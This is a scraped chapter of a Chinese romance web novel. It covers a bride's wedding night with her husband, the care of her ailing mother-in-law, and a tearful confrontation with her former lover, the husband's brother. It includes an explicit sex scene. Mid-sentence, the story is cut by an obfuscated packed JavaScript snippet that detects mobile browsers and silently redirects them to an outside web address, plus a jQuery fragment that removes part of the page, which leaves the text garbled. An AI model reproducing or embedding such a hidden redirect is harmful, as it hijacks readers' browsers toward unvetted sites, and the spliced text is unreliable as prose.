默认冷灰
24号文字
方正启体

34. 嫉妒

作者:枕月长终本书字数:K更新时间:
    魏洮的身体比较单薄。


    乌蔓被他抱了起来。


    魏洮的力气也没有那么大。


    她的手腕被扣在脑侧,剧烈的脉搏在依靠着跳动。


    魏洮的唇瓣薄的像一片云,亲起来也没有厚实的感觉。


    乌蔓望着他漫过雾气的双眼,俯身朝着自己靠近,轻柔地亲了过来。


    夜深了。


    远远没有先前的满意,乌蔓皱眉,觉得有些痛,却刚一动作。


    就立刻被魏洮握着腰肢,滞在原地。


    乌蔓闭着眼,手指摸索着覆上去,想要寻找一丝安慰。


    魏洮锁骨下触手微凉,肤色略白,只是常年读书的身子显得瘦弱,没有她喜欢的好手感。


    ……


    乌蔓有点崩溃了。


    她受不住,抽泣了两声:“疼……”


    魏洮猛地顿住,握着她的月退弯,眯眼抬起:“哪疼?”


    他额上汗津津的,仔细看了,没瞧见异常,轻皱眉头。


    汗滴顺着高耸的鼻梁滑下:“怎么会疼?”


    又不是头一回,先前不是跟了魏恒那么长时间了。


    魏洮本就憋着一股劲,觉得她娇气,又靠过去。


    乌蔓脸色发白,声音抖了又抖:“就是你,别乱动。”


    魏洮听明白她话中含义,声音冷冽:“什么意思?”


    他脸色黑了又白,耳尖又攀上细密的红,魏洮咬牙:“你在嫌我?”


    乌蔓才反应过来说错了话:“……我没那个意思。”


    “那你疼什么?”魏洮紧追不舍,逼问道,“跟魏恒也疼?”


    这都什么跟什么。


    乌蔓皱眉:“没有,你别多想。”


    “那就是不疼。”


    魏洮明白过来了,说话都阴阳怪气的:“我技术不好,真是委屈你了,我比不得魏恒。”


    他力气越发大,每动一下便说一句:“那也没办法,我是头一回,没接触过,你们磨合那么久了,我自是比不上。”


    汗珠随着剧烈的动作不断飞溅,屋中气温急速升温,却不显得甜腻,反倒有种较劲的呛辣。


    乌蔓被他折磨得狠了,本就忍不了疼,也把火气逼出来了。


    她掐着魏洮修长的脖颈,口不择言:“人家也是头一回,人家就能让我爽,不像你只知道弄疼我!”


    ……


    空气一瞬凝滞。


    乌蔓后知后觉,她慢条斯理地撤手,捋了捋自己汗湿的鬓发:“…我乱说的。”


    “呵、”


    魏洮慢慢直起身,真真是被气笑了。


    他神色黑沉沉,双膝跪在乌蔓身侧,居高而下望着她时,瀑布一样的黑发泄在腰后,又触到乌蔓小腿边。


    冰凉凉的,像粹着碎冰。


    魏洮面上薄红,眼中水光潋滟,零星暧昧的痕迹遍布四周,更衬得容貌无双,谪仙一样的人此刻望着乌蔓,却如鬼魅一样冶艳。


    他抬起乌蔓的腿,炽热的吻一路向下,启唇咬下的时候,带了点报复性的尖锐。


    乌蔓受不住,蹬在他肩头。


    潮湿的滚烫发泄,乌蔓无意识地张唇,回过神来,眼前一阵又一阵地发晕。


    魏洮已经重新躺回她身边,在她唇边落下一个个细密的吻。


    “魏恒给你这么弄过吗?”


    乌蔓有点嫌弃,无力的手搭在他脸侧,想将他推开。


    却被不依不饶地抓住手指。


    “跟他爽,还是跟我爽?”


    没完没了。


    俨然是被乌蔓那句冲昏了头脑,非要在她心里分出个高下。


    乌蔓被他方才弄狠了,此刻困意沉沉,根本听不真切。


    见她要睡,魏洮掐着她的脸:“不许,先回答我…乌蔓!”


    带了点无可奈何的愠怒。


    *


    乌蔓再睁开眼时,首先对上的就是魏洮安睡的脸。


    她倏然有些晃神,魏洮的这张脸,实在算得上杀器。


    盯着盯着,他睁开眼睛,黑沉沉的双眼与她对上,然后轻皱眉头:“什么时辰了。”


    没有迟钝,没有缓冲,自然地像是相处了半辈子的老夫老妻。


    乌蔓愣了会,偏过头去:“不知道,我也刚醒。”


    两个人嗓子都哑的要命。


    乌蔓头偏向着外头,刚想喊青檀进来倒茶,下颚被魏洮握住,转了过来。


    腰间的手臂也收紧,整个人被挪到她怀里,她顺着力道抬头,被魏洮亲了一下。


    “躲什么。”他垂眸淡淡,“难不成是在害羞?”


    乌蔓缓过来了,绕着他的头发:“再不起,老夫人又该责备妾身了。”


    魏洮抓住她乱动的手指,起身下床。


    二人自顾自收拾,没喊人进来伺候,等梳洗好了,又一道用了早膳,这才手牵着手去给老夫人请安。


    老夫人却没起得来,好似是半夜去探望魏恒着了凉,受了风寒。


    乌蔓一进屋,望见窗户大敞着,便皱眉:“母亲还病着,谁开的窗?”


    无人应答。


    魏洮坐在床边,伸手去探温度,头都没抬:“大夫人问话,都聋了吗?”


    语气淡淡,却十分冷戾。


    屋里服侍的几个人颤巍巍发抖,陈嬷嬷这才惊醒一般上前将窗户关上,讪笑道:“是老身忘了,忙忘了。”


    “陈嬷嬷排场真是大,”乌蔓清凌凌开口,“主子生着病,做事还这样马虎,犯了错也不见悔意,不知道的还当您是主家呢。”


    她说话刻薄,站到魏洮身边,见老夫人病得不厉害,又问:“药煎好了吗?”


    老夫人年纪大了,防止药量刺激,她还挑了几样书中看来的,清淡温和的草药:“这些厨房里也备一些。”


    风寒只是小毛病,还用的药魏洮也略知一二,他知道乌蔓爱看书,了解这些也没什么奇怪的。


    但见她低眉顺眼地照顾老夫人,没有半点不耐强装的模样,挑眉:“她可记不住你对她的好。”


    魏老夫人嘛,在清河老家受了不少白眼,性子也在那时被磨得刻薄懦弱。


    即便乌蔓对她再体贴孝顺,也只会记得是乌蔓挑拨了兄弟两的关系,不会给她好脸色看的。


    他只是善意提醒乌蔓,别付出不该有的好心,他不喜欢她伪善的样子。


    但乌蔓只是皱眉看过来,眼中凉薄:“她是你母亲,你不该这样说她。”


    魏老夫人脾气再差,再不好相处,谁都可以指责,唯有魏家兄弟两不行。


    魏洮没想到她会这样认真,怔了一会:“…我又没说什么。”


    他起身:“那你替我照看着,我去请个大夫来。”


    新婚第一日,本该向母亲敬茶,没想到茶没敬上,先伺候上了。


    乌蔓也没多抱怨,先前戏班里孩子们体质大多也不好,一场雨后总会病上一两个,她早就得心应手了。


    陈嬷嬷不知又跑到哪躲着了,乌蔓给老夫人喂完了药,一边擦着手,一边思忖着,该怎么整治整治府上的下人。


    先前是没有女主人,老夫人又镇不住场,总这么没规没矩的,像什么样子。


    魏老夫人醒的时候,乌蔓正守在一旁。


    见人睁眼了,她端了一直温着的白水,给人喂下。


    魏老夫人惊悚地看着她,也没力气抵抗。


    虽顺从地喝了水,但对于乌蔓这个祸乱魏家的罪魁祸首,眼神终究是畏惧警惕的。


    乌蔓只当看不见。


    老夫人润了嗓子,也恢复了点力气,抬起手就骂:“你你,你别以为你现在在这装好心…”


    她甚至都没骂出口,就被乌蔓按着手指塞回被窝里,一脸嫌弃:“不知道自己见不得风,还乱动。”


    老夫人:……


    “你别在这装了!昨晚魏恒为了你吐血,你们都不去看看!他们兄弟两感情一向好,就是因为你…”


    乌蔓又打断她:“昨晚我同阿洮新婚夜,衣服都脱了,急急忙忙赶过去,明眼人都知道干了什么,魏恒若是瞧见,不是更得呕血。”


    她无辜道:“回头我们真去了,你又该不乐意。”


    老夫人:……


    乌蔓嘴皮子太厉害,她就没一次能说过的。


    骂又骂不动,说又说不过,老夫人连指她的手都被死死按在被窝里,只能拿眼睛干瞪她。


    乌蔓乐得自在,坐在她床边,捧着本策论看。


    是魏洮给她找来的,多是他年少那会写的文章,没多深奥,但写的精妙,乌蔓一看就上瘾。


    老夫人本就病着,昏昏沉沉躺着,陈嬷嬷被乌蔓赶了出去,她闲不住,又开始找乌蔓的茬。


    她说十句,乌蔓轻飘飘顶回去一句,就足以把她气得自闭。


    没过一会,周而复始。


    乌蔓觉得在这陪着老太太,也怪有意思的。


    魏洮将医师带回来,便让她回去,后面他来照看。


    乌蔓昨夜没睡好,魏洮是知道的,所以让她回屋再多睡一会。


    乌蔓也不矫情,闻言点了点头就走了。


    从老夫人院子回魏洮那,不算太远,路也僻静。


    本该是不会遇上魏恒的。


    乌蔓抬眼,望见魏恒堵在廊下。


    他本就高大,此次骆崖山一行回来后,气质好似又变了许多,沉稳了些,站在游廊柱边,更觉健壮。


    只想来是昨夜吐了血,没什么精神,恐怕也是急匆匆跑出来,一上虚掩着。


    很是憔悴。


    乌蔓轻皱眉,身后跟着的初礼更是眼睛都不知道往哪看。


    魏恒听见动静,转过脸来,望见乌蔓的一瞬间,表情一瞬变得冷戾,只是没坚持多久,眼睛又红了。


    他启唇,似想说什么狠话,只是还不等开口,豆大的泪珠就滚滚地往下掉。


    根本不受控制。


    初礼:??


    乌蔓:……


    真是要命。


    她叹了口气,转身对初礼道:“你先回去吧。”


    初礼大惊失色:“夫人,这,这不太好吧……”


    乌蔓面无表情:“我有话同他说清楚,回头你如实向你家公子交代,我不会瞒他,你不用担心。”


    初礼犹豫地来回看了两眼,实在有些不放心。


    不是不放心乌蔓,而是不放心魏恒……


    他家公子可以撬人墙角,魏恒自然也可以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323429|165298||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    撬回来。


    初元将自家主子看丢了,他可不能犯同样的错误。


    于是他渴求地看着乌蔓:“夫人,我去梁上守着,我保证听不到你们对话…只是,让我能看见你们……”


    乌蔓懒得同他计较,摆手:“去吧。”


    初礼走了好半晌,魏恒仍没有动作。


    话也不会说,好像就只知道瞪着她,又巴巴地掉眼泪。


    这画面外人看来觉得诡异,乌蔓却喜欢的要命。


    她多看了两眼,慢吞吞道:“再不开口,阿洮就要回来了。”


    阿洮。


    她何尝这么亲密地喊过魏恒,对他,向来都是大人长,公子短的。


    魏恒咬牙,一脸恶意,刚开口说话,却又是眼泪滑落:“…我真恨你。”


    乌蔓点头:“我明白。”


    “…你不明白,郡主来信给我,说你在京遇难,我原还在跟着将军伏击,急着回来见你,半夜独自一人冲进了敌营。”


    魏恒朝她走近,乌蔓这才看见,他左眼下一道狭长的疤痕,尚未掉痂,横亘在眼尾,徒增一道凶戾。


    “我伤在了脸上,第一反应也是,你会不会不喜欢。”魏恒双眼通红,身子都在颤抖,“我不眠不休,连夜回了京城,生怕你出了意外……”


    他短促地笑了一声,“你却给我这么个惊喜。”


    乌蔓看了一会那道疤,懒散开口:“郡主拦不住阿洮,便想着调你回来毁了婚宴,搅乱魏家名声,你是被人借了刀了。”


    说到这,她赞许地看了魏恒一眼:“但你表现得比我想象中好。”


    魏恒:……


    “即便是昨日我吐血,你也不曾来探望。”


    魏恒极为疲累地看着她:“乌蔓,这才是你的真面目,是吗?”


    冷血无情,过河拆桥的……


    诈欺犯。


    乌蔓点点头:“恭喜你,终于发现了。昨夜消息来时,大家都已经歇下了,那时再过去,恐怕只会刺激到你。”


    魏恒不愿去想他们洞房花烛的细节,深深吸了一口气:“时至今日,我还想问你最后一件事。”


    “大哥昨日,有没有伤到你。”


    “因为魏洮许给我正妻的位置。”


    乌蔓与他同时开口,她说完之后,顿了片刻:“你说什么?”


    魏恒紧盯着她:“我问,魏洮他昨日,是不是弄疼了你。”


    乌蔓感觉不可思议,魏恒是不是真的被她刺激疯了?


    “你在说什么东西?还以为你会问我为什么要选择他。”


    “选择了别人,只能说明那人趁我不备,勾搭引诱你,我没什么好问。”魏恒冷笑一声,“但是蔓娘,你最是受不住痛,原先我顾及你,怜惜你,用尽心力伺候你。”


    他向前两步,攥住乌蔓手腕,强硬道:“大哥那样骄傲的人,会迁就你吗?他身单力薄,身子摸着也没我舒服吧?”


    魏恒盯着她,眼中似有野火燃烧,是愤恨又或是别的什么。


    “蔓娘,你以为魏洮是什么好人?你以为他对你,有我对你深情?你以为你最终的这个选择,是正确的?”


    “第一,我不是选择他的深情,他与你不同,我们彼此合作,没有那些虚情假意,这样的关系更加稳固。”


    乌蔓一边留意着远方蠢蠢欲动的初礼,一边冷冷道:“第二,你猜错了。”


    “昨晚,他比你会伺候的多。”


    魏恒一怔,乌蔓已经狠狠将他的手甩开。


    “魏恒,往后别再继续纠缠了,给彼此留点体面。”


    “你若放得下,往后我便待你如亲弟弟,你若执意……”


    乌蔓甚至还没说完,面前人便急忙退了几步。


    像是无法忍受乌蔓还未说出口的狠话。


    乌蔓语塞,总觉得那些不清不楚的纠缠还没了断,但见魏恒退得干脆,她反倒又说不出口了。


    她抿了抿唇,从他身侧走过。


    “……我给你带了礼物。”


    魏恒垂眸,沙哑开口:“还没来得及送给你,就当…是给你们新婚的贺礼吧。”


    乌蔓脚步一顿,又回头看他。


    只是这一次,魏恒的视线没有再流连在她身上。


    他望着地面,看不清神色,又呢喃了一句。


    “我没有放手的。”


    乌蔓:……


    她没听懂,也不多停留,离开的时候,廊下似有冷风吹过。


    回到魏洮院中,思儿正牵着一匹枣红小马。


    憨态可爱,还没思儿高,正低头听话地吃她掌心的干草。


    见她回来,思儿欲言又止:“这是,初元方才送来的。”


    乌蔓最开始学骑马时,嫌魏恒给自己挑的马驹不可爱。


    后来她学的熟练了,便再也没有骑过马。


    更是忘了曾经在马场的种种往事。


    【你别松手!一定别松开!】


    打闹的身影纠缠着,玩笑着,魏恒那时站在马下,十分认真地抬头对她承诺。


    【我不放手。】


    乌蔓突然想明白了方才魏恒喃喃的那句话。


    他没有放手。


    选择放手的,是她乌蔓。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)